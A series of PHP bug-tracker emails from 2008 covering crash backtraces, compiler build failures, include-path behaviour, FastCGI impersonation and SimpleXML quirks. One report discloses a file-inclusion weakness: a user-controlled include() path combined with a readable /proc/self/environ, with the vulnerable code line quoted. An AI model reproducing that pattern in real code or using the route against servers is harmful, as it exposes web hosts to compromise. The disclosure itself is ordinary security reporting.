ID: 46753 Updated by: [EMAIL PROTECTED] Reported By: essen at dev-extend dot eu -Status: Open +Status: Feedback -Bug Type: Reproducible crash +Bug Type: Scripting Engine problem Operating System: Linux Ubuntu 8.10 -PHP Version: 5.2.6 +PHP Version: 5.2CVS-2008-12-08 New Comment: Please try isolate the code. As short as possible script. You should also try the PHP 5.3 snapshot: http://snaps.php.net/php5.3- latest.tar.gz just in case this same issue is already fixed there.. Previous Comments: [2008-12-08 17:31:15] essen at dev-extend dot eu Exactly the same problem using the snapshot. The problem also occurs from the command line (both on 5.2.6 and using the snapshot). The "bt full" made using this snapshot is available at the following address: http://blog.extend.ws/~essen/bug46753btfull.txt I can try to isolate the code leading to the segfault if you need it, but it's not going to be an easy task as it crashes inside classes querying metadata information from a MySQL database, and also because the same code works without problem for a different page. [2008-12-08 11:34:58] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ [2008-12-05 00:23:16] essen at dev-extend dot eu Description: I encountered a strange crash. I can reproduce it, it always happens, but only under very specific conditions. It first happened when I changed a completely unrelated part of my code in a different file of the project. PHP crash on an is_subclass_of call. This call worked correctly before my changes, and still works correctly on the other pages. Other is_subclass_of works fine too. I'm not sure what trigger this, as I've only changed a few methods, nothing changing the outcome of the script... Another thing. If I add a require_once before the is_subclass_of call, there is no crash. The crash only happens when the class isn't defined in the current script, which should and does trigger the autoload callback to load the class. The class is successfully loaded by the callback, the crash happens only after. I'm not sure what more can I say. If you need further details, feel free to ask. Actual result: -- Core was generated by `/usr/sbin/apache2 -k start'. Program terminated with signal 11, Segmentation fault. [New process 19175] #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 657 /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c: No such file or directory. in /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c (gdb) bt #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 #1 0xb72ecba3 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf854fd8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:200 #2 0xb72d803b in execute (op_array=0xb9a5c364) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #3 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8552b8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #4 0xb72d803b in execute (op_array=0xb9a5bb8c) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #5 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8555c8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #6 0xb72d803b in execute (op_array=0xb99d71b0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #7 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf855e18) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #8 0xb72d803b in execute (op_array=0xb9a17614) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #9 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856248) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #10 0xb72d803b in execute (op_array=0xb9a17d94) ---Type to continue, or q to quit--- at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #11 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8565d8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #12 0xb72d803b in execute (op_array=0xb9a06ca0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #13 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856a08) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #14 0xb72d803b in execute (op_array=0xb9a0d344) at /build/buildd/php5-
#27051 [Com]: Impersonation with FastCGI does not EXEC process as impersonated user
ID: 27051 Comment by: louis at steelbytes dot com Reported By: ghoffer at globalscape dot com Status: Open Bug Type: Feature/Change Request Operating System: Windows PHP Version: 4.3.4 New Comment: please please please fix/add this. it is killing me with 5.2.6 / win2008. Previous Comments: [2007-06-21 18:06:45] aheckmann at m-s dot de I have the same problem here. Has anything happens in the last three years on that feature request? The solution seems to be easy, or not? [2004-01-26 15:41:14] ghoffer at globalscape dot com Description: (Related to Bug #10065, but slightly different and more detailed ) Environment: Win2K3 running PHP 4.3.4 under FastCGI. PHP.INI has "fastcgi.impersonate=1". IIS Site has "Anonymous Access" OFF and "NT Authentication" ON (so that you have to log in to the site as an NT User). Up to this point, all is fine: the NT user is being impersonated by the main thread of PHP so that file access permissions are handled properly. HOWEVER, if the PHP script attempts to execute a command (using exec, or passthru, or similar) then that spawned process is NOT impersonating the NT account, but rather running under the IIS account. SUGGESTED RESOLUTION: in proc_open.c, the proc_open function can make a few calls in lieu of "CreateProcess" in order to "pass along" the Impersonation. Instead of CreateProcess, it should use "CreateProcessAsUser," passing in the token of the impersonated user (which PHP is running under). If it does not do this, per the Win32 API docs, CreateProcess simply uses the non-impersonated token. Here is how to run a spawned process as the impersonated user (which CAN be done conditionally when impersonation is necessary (e.g., "LOGON_USER" is defined; but doing it ALWAYS should in no way impair security, only a slight hit in performance as three additional API calls are made): [ Error checking and variable declarations omitted ] OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken ); // get impersonation token DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, &sa, SecurityImpersonation, TokenPrimary, &hToken2 ); // duplicate it for passing to CreateProcessAsUser CreateProcessAsUser( hToken2, ... ) // rest of params are the same as CreateProcess // . . . CloseHandle( hToken2 ); CloseHandle( hToken ); Reproduce code: --- Expected result: PHP running as impersonated user under FastCGI should spawn processes with security context of that impersonated user. Actual result: -- The spawned process is being executed in the security context of the IIS account (IWAM_*). -- Edit this bug report at http://bugs.php.net/?id=27051&edit=1
#46801 [Fbk->Opn]: include() searches wrong directory according to the doc
ID: 46801 User updated by: tomas at matfyz dot cz Reported By: tomas at matfyz dot cz -Status: Feedback +Status: Open Bug Type: *General Issues Operating System: Linux PHP Version: 5.2.0 New Comment: I'm sorry, I don't have access to newer version of PHP, I'm not a PHP developer. I can use only what my webhosting provider has, which is only older stable versions. But if you provide me with FTP access to some of your testing servers, I can test it. Previous Comments: [2008-12-08 22:27:38] [EMAIL PROTECTED] Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ [2008-12-08 20:40:15] tomas at matfyz dot cz Note that I would appreciate the behaviour described in the documentation. It seems more logical and more useful than the current behaviour, because there is a risk that local file will override the internal file in the 'include/' dir! The libraries (in this case the sources under 'include/' dir) are compact sets of sources which include themselves and of course do not take into account the files in the user's dir. [2008-12-08 19:57:23] tomas at matfyz dot cz I can't help it, the link is being wrapped by this website, you must re-construct it. [2008-12-08 19:56:12] tomas at matfyz dot cz Sorry, the correct link is http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php [2008-12-08 19:50:54] tomas at matfyz dot cz Description: In the documentation (http://cz.php.net/manual/en/function.include.php) is the following statement: "... E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. ..." This is not true. There is either a bug in the documentation or in the PHP. Tested on 5.2.0-8+etch11. Reproduce code: --- Please see http://artax.karlin.mff.cuni.cz/~ttel5535/obs/pok_require_dirs3/report/www/use.php . The source code is in multiple directories, you can download it from there. Expected result: www/include/a.php: fun_a() www/include/b.php: fun_b() Actual result: -- www/include/a.php: fun_a() www/b.php: fun_b() According to the documentation, the file www/include/b.php should be included! -- Edit this bug report at http://bugs.php.net/?id=46801&edit=1
#27051 [Com]: Impersonation with FastCGI does not EXEC process as impersonated user
ID: 27051 Comment by: louis at steelbytes dot com Reported By: ghoffer at globalscape dot com Status: Open Bug Type: Feature/Change Request Operating System: Windows PHP Version: 4.3.4 New Comment: I've added a new function to my now inappropriately named 'PHP_Filetimes' http://www.steelbytes.com/?mid=46 (use the *beta* download) The new function is a simple wrapper for CreateProcessAsUser that deals with this problem. come on PHP/Zend pull ya socks up, I shouldn't have to write my own extensions to work around such 'bugs'/limitations :-) Previous Comments: [2008-12-08 23:04:23] louis at steelbytes dot com please please please fix/add this. it is killing me with 5.2.6 / win2008. [2007-06-21 18:06:45] aheckmann at m-s dot de I have the same problem here. Has anything happens in the last three years on that feature request? The solution seems to be easy, or not? [2004-01-26 15:41:14] ghoffer at globalscape dot com Description: (Related to Bug #10065, but slightly different and more detailed ) Environment: Win2K3 running PHP 4.3.4 under FastCGI. PHP.INI has "fastcgi.impersonate=1". IIS Site has "Anonymous Access" OFF and "NT Authentication" ON (so that you have to log in to the site as an NT User). Up to this point, all is fine: the NT user is being impersonated by the main thread of PHP so that file access permissions are handled properly. HOWEVER, if the PHP script attempts to execute a command (using exec, or passthru, or similar) then that spawned process is NOT impersonating the NT account, but rather running under the IIS account. SUGGESTED RESOLUTION: in proc_open.c, the proc_open function can make a few calls in lieu of "CreateProcess" in order to "pass along" the Impersonation. Instead of CreateProcess, it should use "CreateProcessAsUser," passing in the token of the impersonated user (which PHP is running under). If it does not do this, per the Win32 API docs, CreateProcess simply uses the non-impersonated token. Here is how to run a spawned process as the impersonated user (which CAN be done conditionally when impersonation is necessary (e.g., "LOGON_USER" is defined; but doing it ALWAYS should in no way impair security, only a slight hit in performance as three additional API calls are made): [ Error checking and variable declarations omitted ] OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken ); // get impersonation token DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, &sa, SecurityImpersonation, TokenPrimary, &hToken2 ); // duplicate it for passing to CreateProcessAsUser CreateProcessAsUser( hToken2, ... ) // rest of params are the same as CreateProcess // . . . CloseHandle( hToken2 ); CloseHandle( hToken ); Reproduce code: --- Expected result: PHP running as impersonated user under FastCGI should spawn processes with security context of that impersonated user. Actual result: -- The spawned process is being executed in the security context of the IIS account (IWAM_*). -- Edit this bug report at http://bugs.php.net/?id=27051&edit=1
#46804 [NEW]: file related functions/constructs are vulnerable if path is based on user input
From: deminy at deminy dot net Operating system: Ubuntu PHP version: 5.2.8 PHP Bug Type: Filesystem function related Bug description: file related functions/constructs are vulnerable if path is based on user input Description: One of my web hosts was hacked some time ago. After checking access_log and made some research online, I think it was caused by a security bug in PHP, which may cause some PHP open source programs vulnerable. If a PHP program include a file whose file name is based on user request data (e.g., "include($_REQUEST['lang'] . 'inc.php';"), and '/proc/self/environ' is (accidentally) readable by Apache user on Unix/Linux server, the server is probably vulnerable. Posting related HTTP access log and sample code here may be a threaten to sites built on some PHP open source programs. Please send me an email to request details. Thanks. -- Edit bug report at http://bugs.php.net/?id=46804&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46804&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46804&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46804&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46804&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46804&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46804&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46804&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46804&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46804&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46804&r=support Expected behavior: http://bugs.php.net/fix.php?id=46804&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46804&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46804&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46804&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46804&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46804&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46804&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46804&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46804&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46804&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46804&r=mysqlcfg
#46770 [Fbk->Opn]: Intel C + + Compiler 11.0 on php 5.2.7
ID: 46770 User updated by: ryo dot wong at uplinuxes dot net -Reported By: ryo dot wong at i010 dot com +Reported By: ryo dot wong at uplinuxes dot net -Status: Feedback +Status: Open Bug Type: Compile Failure Operating System: centos 5.2 64bit PHP Version: 5.2.7 New Comment: The revised php 5.2.7 / 5.2.8 same problem, but in php 5.2.6 do not have this problem. #!/bin/sh export CC="icc -static-intel" export CXX="icpc -static-intel" export CXXFLAGS="-O3 -unroll2 -ip -mp -restrict -xP" ./configure \ --libdir=/usr/lib64 \ --with-apxs2 \ --with-curl=/usr/local \ --with-gd \ --with-ttf \ --with-gettext \ --with-jpeg-dir=/usr/local \ --with-png-dir=/usr/local \ --with-freetype-dir=/usr/local \ --with-iconv=/usr/local \ --with-zlib \ --with-zlib-dir=/usr/local \ --with-mcrypt \ --with-mhash \ --with-openssl \ --with-kerberos=/usr/lib64 \ --with-mysql=/usr/local/mysqld/lib64/mysql \ --with-mysqli=/usr/local/mysqld/bin/mysql_config \ --with-pdo-mysql=/usr/local/mysqld \ --with-pear \ --enable-bcmath \ --enable-calendar \ --enable-exif \ --enable-ftp \ --enable-gd-native-ttf \ --enable-magic-quotes \ --enable-safe-mode \ --enable-soap \ --enable-sockets \ --enable-mbstring \ --enable-zip \ --enable-wddx \ --disable-ipv6 Previous Comments: [2008-12-08 10:49:53] [EMAIL PROTECTED] Try without setting your own CFLAGS, etc. And these paths are invalid: /usr/local/lib (correct path in this case is: /usr/local) [2008-12-06 03:39:52] ryo dot wong at i010 dot com icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10156: ignoring option '-s'; no argument required ipo: warning #11009: file format not recognized for /usr/local/lib ipo: warning #11009: file format not recognized for /usr/local/mysqld/lib64/mysql ld: ext/libxml/.libs/libxml.o: relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC ext/libxml/.libs/libxml.o: could not read symbols: Bad value make: *** [libphp5.la] Error 1 #!/bin/sh source /opt/intel/Compiler/11.0/074/bin/intel64/iccvars_intel64.sh export CC="icc -static-intel" export CFLAGS="-O3 -unroll2 -ip -restrict -xP" export CXX="icpc -static-intel" export CXXFLAGS="-O3 -unroll2 -ip -restrict -xP" ./configure \ --with-apxs2 \ --with-curl=/usr/local/lib \ --with-gd \ --with-ttf \ --with-gettext \ --with-jpeg-dir=/usr/local/lib \ --with-png-dir=/usr/local/lib \ --with-freetype-dir=/usr/local/lib \ --with-iconv=/usr/local \ --with-zlib \ --with-zlib-dir=/usr/local/lib \ --with-mcrypt \ --with-mhash \ --with-openssl \ --with-kerberos=/usr/lib64 \ --with-mysql=/usr/local/mysqld/lib64/mysql \ --with-mysqli=/usr/local/mysqld/bin/mysql_config \ --with-pdo-mysql=/usr/local/mysqld \ --with-pear \ --enable-bcmath \ --enable-calendar \ --enable-exif \ --enable-ftp \ --enable-gd-native-ttf \ --enable-magic-quotes \ --enable-safe-mode \ --enable-soap \ --enable-sockets \ --enable-mbstring \ --enable-zip \ --enable-wddx \ --disable-ipv6 [2008-12-05 19:28:46] [EMAIL PROTECTED] And the error is? [2008-12-05 17:58:40] ryo dot wong at uplinuxes dot net Description: php 5.2.7 using Intel C + + Compiler 11.0 Professional Edition for Linux compiler error. -- Edit this bug report at http://bugs.php.net/?id=46770&edit=1
#46724 [Bgs]: Floating number is not equal!
ID: 46724 User updated by: yanan at joit dot com Reported By: yanan at joit dot com Status: Bogus Bug Type: Unknown/Other Function Operating System: WindowsXP PHP Version: 5.2.6 New Comment: Thank u. I need to think about a new method to solve my problem... Previous Comments: [2008-12-01 10:15:44] [EMAIL PROTECTED] Floating point values have a limited precision. Hence a value might not have the same string representation after any processing. That also includes writing a floating point value in your script and directly printing it without any mathematical operations. If you would like to know more about "floats" and what IEEE 754 is, read this: http://docs.sun.com/source/806-3568/ncg_goldberg.html Thank you for your interest in PHP. [2008-12-01 10:06:27] yanan at joit dot com Description: The codes below should print bool(true) .But in fact, it prints bool(false) . The same results appear when $price=10.03 or 10.04. However, when $price=10.06, it prints bool(true) . Reproduce code: --- Expected result: bool(true) Actual result: -- bool(false) -- Edit this bug report at http://bugs.php.net/?id=46724&edit=1
#46770 [Opn]: Intel C + + Compiler 11.0 on php 5.2.7
ID: 46770 User updated by: ryo dot wong at uplinuxes dot net Reported By: ryo dot wong at uplinuxes dot net Status: Open Bug Type: Compile Failure Operating System: centos 5.2 64bit -PHP Version: 5.2.7 +PHP Version: 5.2.7 / 5.2.8 New Comment: Error message: icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10156: ignoring option '-s'; no argument required ipo: error #11021: OBJREAD Error: Could not create mapping for /usr/local/lib icc: error #10014: problem during multi-file optimization compilation (code 1) make: *** [libphp5.la] Error 1 Previous Comments: [2008-12-09 01:05:12] ryo dot wong at uplinuxes dot net The revised php 5.2.7 / 5.2.8 same problem, but in php 5.2.6 do not have this problem. #!/bin/sh export CC="icc -static-intel" export CXX="icpc -static-intel" export CXXFLAGS="-O3 -unroll2 -ip -mp -restrict -xP" ./configure \ --libdir=/usr/lib64 \ --with-apxs2 \ --with-curl=/usr/local \ --with-gd \ --with-ttf \ --with-gettext \ --with-jpeg-dir=/usr/local \ --with-png-dir=/usr/local \ --with-freetype-dir=/usr/local \ --with-iconv=/usr/local \ --with-zlib \ --with-zlib-dir=/usr/local \ --with-mcrypt \ --with-mhash \ --with-openssl \ --with-kerberos=/usr/lib64 \ --with-mysql=/usr/local/mysqld/lib64/mysql \ --with-mysqli=/usr/local/mysqld/bin/mysql_config \ --with-pdo-mysql=/usr/local/mysqld \ --with-pear \ --enable-bcmath \ --enable-calendar \ --enable-exif \ --enable-ftp \ --enable-gd-native-ttf \ --enable-magic-quotes \ --enable-safe-mode \ --enable-soap \ --enable-sockets \ --enable-mbstring \ --enable-zip \ --enable-wddx \ --disable-ipv6 [2008-12-08 10:49:53] [EMAIL PROTECTED] Try without setting your own CFLAGS, etc. And these paths are invalid: /usr/local/lib (correct path in this case is: /usr/local) [2008-12-06 03:39:52] ryo dot wong at i010 dot com icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10006: ignoring unknown option '-frpath' icc: command line warning #10156: ignoring option '-s'; no argument required ipo: warning #11009: file format not recognized for /usr/local/lib ipo: warning #11009: file format not recognized for /usr/local/mysqld/lib64/mysql ld: ext/libxml/.libs/libxml.o: relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC ext/libxml/.libs/libxml.o: could not read symbols: Bad value make: *** [libphp5.la] Error 1 #!/bin/sh source /opt/intel/Compiler/11.0/074/bin/intel64/iccvars_intel64.sh export CC="icc -static-intel" export CFLAGS="-O3 -unroll2 -ip -restrict -xP" export CXX="icpc -static-intel" export CXXFLAGS="-O3 -unroll2 -ip -restrict -xP" ./configure \ --with-apxs2 \ --with-curl=/usr/local/lib \ --with-gd \ --with-ttf \ --with-gettext \ --with-jpeg-dir=/usr/local/lib \ --with-png-dir=/usr/local/lib \ --with-freetype-dir=/usr/local/lib \ --with-iconv=/usr/local \ --with-zlib \ --with-zlib-dir=/usr/local/lib \ --with-mcrypt \ --with-mhash \ --with-openssl \ --with-kerberos=/usr/lib64 \ --with-mysql=/usr/local/mysqld/lib64/mysql \ --with-mysqli=/usr/local/mysqld/bin/mysql_config \ --with-pdo-mysql=/usr/local/mysqld \ --with-pear \ --enable-bcmath \ --enable-calendar \ --enable-exif \ --enable-ftp \ --enable-gd-native-ttf \ --enable-magic-quotes \ --enable-safe-mode \ --enable-soap \ --enable-sockets \ --enable-mbstring \ --enable-zip \ --enable-wddx \ --disable-ipv6 [2008-12-05 19:28:46] [EMAIL PROTECTED] And the error is? [2008-12-05 17:58:40] ryo dot wong at uplinuxes dot net Description: php 5.2.7 using Intel C + + Compiler 11.0 Professional Edition for Linux compiler error. -- Edit this bug report at http://bugs.php.net/?id=46770&edit=1
#46677 [Com]: Can not make install php5.2.6
ID: 46677 Comment by: chunhuan dot pan at alcatel-sbell dot com dot cn Reported By: chunhuan dot pan at alcatel-sbell dot com dot cn Status: Feedback Bug Type: Compile Failure Operating System: HP-UX 11.23 PHP Version: 5.2.6 New Comment: Hello jani: See my backtrace below: --- (gdb) bt #0 0x2330 in () warning: Attempting to unwind past bad PC 0x2330 #1 0x6f7269675f76616c in () (gdb) --- PS: To get a best test ,could you show me the test source ,steps ,I am not very clearly how to get a best backtrace to help you solve the error! Thx a lot ,:-) Previous Comments: [2008-12-08 12:32:25] [EMAIL PROTECTED] Now, can you please provide the requested _backtrace_ finally? In gdb using command 'bt'.. [2008-12-04 01:57:58] chunhuan dot pan at alcatel-sbell dot com dot cn Trace No.2 Step 1: bash-3.2# ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --enable-debug Step 2: bash-3.2# make Step 3: bash-3.2# make test begin chunhuap*** = EXPECTED FAILED TEST SUMMARY - SPL: ArrayObject::__construct basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic4.phpt] SPL: ArrayObject::__construct basic usage with ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic5.phpt] SPL: ArrayObject::exchangeArray() basic usage with object as underlying data store. [ext/spl/tests/arrayObject_exchangeArray_basic3.phpt] SPL: ArrayObject::setFlags basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject_setFlags_basic1.phpt] = You may have found a problem in PHP. We would like to send this report automatically to the PHP QA team, to give us a better understanding of how the test cases are doing. If you don't want to send it immediately, you can choose "s" to save the report to a file that you can send us later. Do you want to send this report now? [Yns]: end chunhuap*** Step 4: bash-3.2# make install Begin chunhuap*** Installing PHP SAPI module: apache2handler /usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la /usr/local/apache2/modules /usr/local/apache2/build/libtool --mode=install cp libphp5.la /usr/local/apache2/modules/ cp .libs/libphp5.lai /usr/local/apache2/modules/libphp5.la cp .libs/libphp5.a /usr/local/apache2/modules/libphp5.a ranlib /usr/local/apache2/modules/libphp5.a chmod 644 /usr/local/apache2/modules/libphp5.a libtool: install: warning: remember to run `libtool --finish /opt/pkg_list/php5.2-200811272330/libs' Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. Assuming installing a .so rather than a libtool archive. chmod 755 /usr/local/apache2/modules/libphp5.so [activating module `php5' in /usr/local/apache2/conf/httpd.conf] Installing PHP CLI binary:/usr/local/php/bin/ Installing PHP CLI man page: /usr/local/php/man/man1/ Installing build environment: /usr/local/php/lib/php/build/ Installing header files: /usr/local/php/include/php/ Installing helper programs: /usr/local/php/bin/ program: phpize program: php-config Installing man pages: /usr/local/php/man/man1/ page: phpize.1 page: php-config.1 Installing PEAR environment: /usr/local/php/lib/php/ No download utilities found. Don't know how to download PEAR archive. +--+ | The installation process is incomplete. The following resources were | | not installed: | | | | PEAR: PHP Extension and Application Repository | | | | To install these components, | | download http://pear.php.net/install-pear.phar to php-src/pear/ | | become the superuser and execute: | | | | # make install-su | +--+ Installing PDO headers: /usr/local/php/include/php/ext/pdo/ End chunhuap**
#46677 [Fbk->Opn]: Can not make install php5.2.6
ID: 46677 User updated by: chunhuan dot pan at alcatel-sbell dot com dot cn Reported By: chunhuan dot pan at alcatel-sbell dot com dot cn -Status: Feedback +Status: Open Bug Type: Compile Failure Operating System: HP-UX 11.23 PHP Version: 5.2.6 New Comment: change the status from feedback to open Previous Comments: [2008-12-09 01:36:30] chunhuan dot pan at alcatel-sbell dot com dot cn Hello jani: See my backtrace below: --- (gdb) bt #0 0x2330 in () warning: Attempting to unwind past bad PC 0x2330 #1 0x6f7269675f76616c in () (gdb) --- PS: To get a best test ,could you show me the test source ,steps ,I am not very clearly how to get a best backtrace to help you solve the error! Thx a lot ,:-) [2008-12-08 12:32:25] [EMAIL PROTECTED] Now, can you please provide the requested _backtrace_ finally? In gdb using command 'bt'.. [2008-12-04 01:57:58] chunhuan dot pan at alcatel-sbell dot com dot cn Trace No.2 Step 1: bash-3.2# ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --enable-debug Step 2: bash-3.2# make Step 3: bash-3.2# make test begin chunhuap*** = EXPECTED FAILED TEST SUMMARY - SPL: ArrayObject::__construct basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic4.phpt] SPL: ArrayObject::__construct basic usage with ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject___construct_basic5.phpt] SPL: ArrayObject::exchangeArray() basic usage with object as underlying data store. [ext/spl/tests/arrayObject_exchangeArray_basic3.phpt] SPL: ArrayObject::setFlags basic usage with ArrayObject::ARRAY_AS_PROPS. [ext/spl/tests/arrayObject_setFlags_basic1.phpt] = You may have found a problem in PHP. We would like to send this report automatically to the PHP QA team, to give us a better understanding of how the test cases are doing. If you don't want to send it immediately, you can choose "s" to save the report to a file that you can send us later. Do you want to send this report now? [Yns]: end chunhuap*** Step 4: bash-3.2# make install Begin chunhuap*** Installing PHP SAPI module: apache2handler /usr/local/apache2/build/instdso.sh SH_LIBTOOL='/usr/local/apache2/build/libtool' libphp5.la /usr/local/apache2/modules /usr/local/apache2/build/libtool --mode=install cp libphp5.la /usr/local/apache2/modules/ cp .libs/libphp5.lai /usr/local/apache2/modules/libphp5.la cp .libs/libphp5.a /usr/local/apache2/modules/libphp5.a ranlib /usr/local/apache2/modules/libphp5.a chmod 644 /usr/local/apache2/modules/libphp5.a libtool: install: warning: remember to run `libtool --finish /opt/pkg_list/php5.2-200811272330/libs' Warning! dlname not found in /usr/local/apache2/modules/libphp5.la. Assuming installing a .so rather than a libtool archive. chmod 755 /usr/local/apache2/modules/libphp5.so [activating module `php5' in /usr/local/apache2/conf/httpd.conf] Installing PHP CLI binary:/usr/local/php/bin/ Installing PHP CLI man page: /usr/local/php/man/man1/ Installing build environment: /usr/local/php/lib/php/build/ Installing header files: /usr/local/php/include/php/ Installing helper programs: /usr/local/php/bin/ program: phpize program: php-config Installing man pages: /usr/local/php/man/man1/ page: phpize.1 page: php-config.1 Installing PEAR environment: /usr/local/php/lib/php/ No download utilities found. Don't know how to download PEAR archive. +--+ | The installation process is incomplete. The following resources were | | not installed: | | | | PEAR: PHP Extension and Application Repository | | | | To install these components, | | download http://pear.php.net/install-pear.phar to php-src/pear/ | | become the superuser and execute: | | | | # make install-su
#46048 [Bgs]: SimpleXML top-level @attributes not part of iterator
ID: 46048 User updated by: php at isnoop dot net Reported By: php at isnoop dot net Status: Bogus Bug Type: SimpleXML related Operating System: Ubuntu 8.04 server -PHP Version: 5.3.0alpha2 +PHP Version: 5.3.0alpha3 New Comment: I have tested this with the two new PHP releases on yet another server: 5.3.0alpha3 Fails: [] [EMAIL PROTECTED]:~/src/php-5.3.0alpha3/sapi/cli] ./php -v;./php ~/sandbox/bug46048.php PHP 5.3.0alpha3 (cli) (built: Dec 4 2008 17:18:52) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2008 Zend Technologies Array ( [key] => value ) 5.2.8 Passes: [] [EMAIL PROTECTED]:~/src/php-5.2.8/sapi/cli] ./php -v;./php ~/sandbox/bug46048.php PHP 5.2.8 (cli) (built: Dec 8 2008 17:34:28) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies Array ( [EMAIL PROTECTED] => Array ( [id] => 1 ) [key] => value ) Previous Comments: [2008-11-17 21:27:47] php at isnoop dot net It appears that you're testing against 5.2.7 which I've verified doesn't exhibit this error. This problem only appears with the 5.3.0 releases. Both the 5.2.* releases and 5.3.* use libxml 2.6.31 on my primary test machine. It is possible that libxml is part of the problem, but it still stands that the problem does not manifest prior to 5.3. [2008-11-17 09:49:46] [EMAIL PROTECTED] $ php t.php Array ( [EMAIL PROTECTED] => Array ( [id] => 1 ) [key] => value ) [EMAIL PROTECTED] ~]$ php -v PHP 5.2.7-dev (cli) (built: Oct 9 2008 16:54:00) (DEBUG) Copyright (c) 1997-2008 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies So still no bug. If you experience this even with proper XML, I guess it's your libxml that is a buggy version. (my PHP is build with libxml 2.7.2) [2008-11-11 21:51:58] php at isnoop dot net Thank you for that. Reproduce code should be as follows: $xml = ' value '; $obj = simplexml_load_string($xml); print_r(get_object_vars($obj)); [2008-11-11 10:50:33] [EMAIL PROTECTED] Your xml is invalid: $ php -n t.php Warning: simplexml_load_string(): Entity: line 3: parser error : Opening and ending tag mismatch: key line 3 and name in /home/jani/src/build/php_5_3_tst/t.php on line 8 Warning: simplexml_load_string(): value in /home/jani/src/build/php_5_3_tst/t.php on line 8 Warning: simplexml_load_string(): ^ in /home/jani/src/build/php_5_3_tst/t.php on line 8 With non-invalid 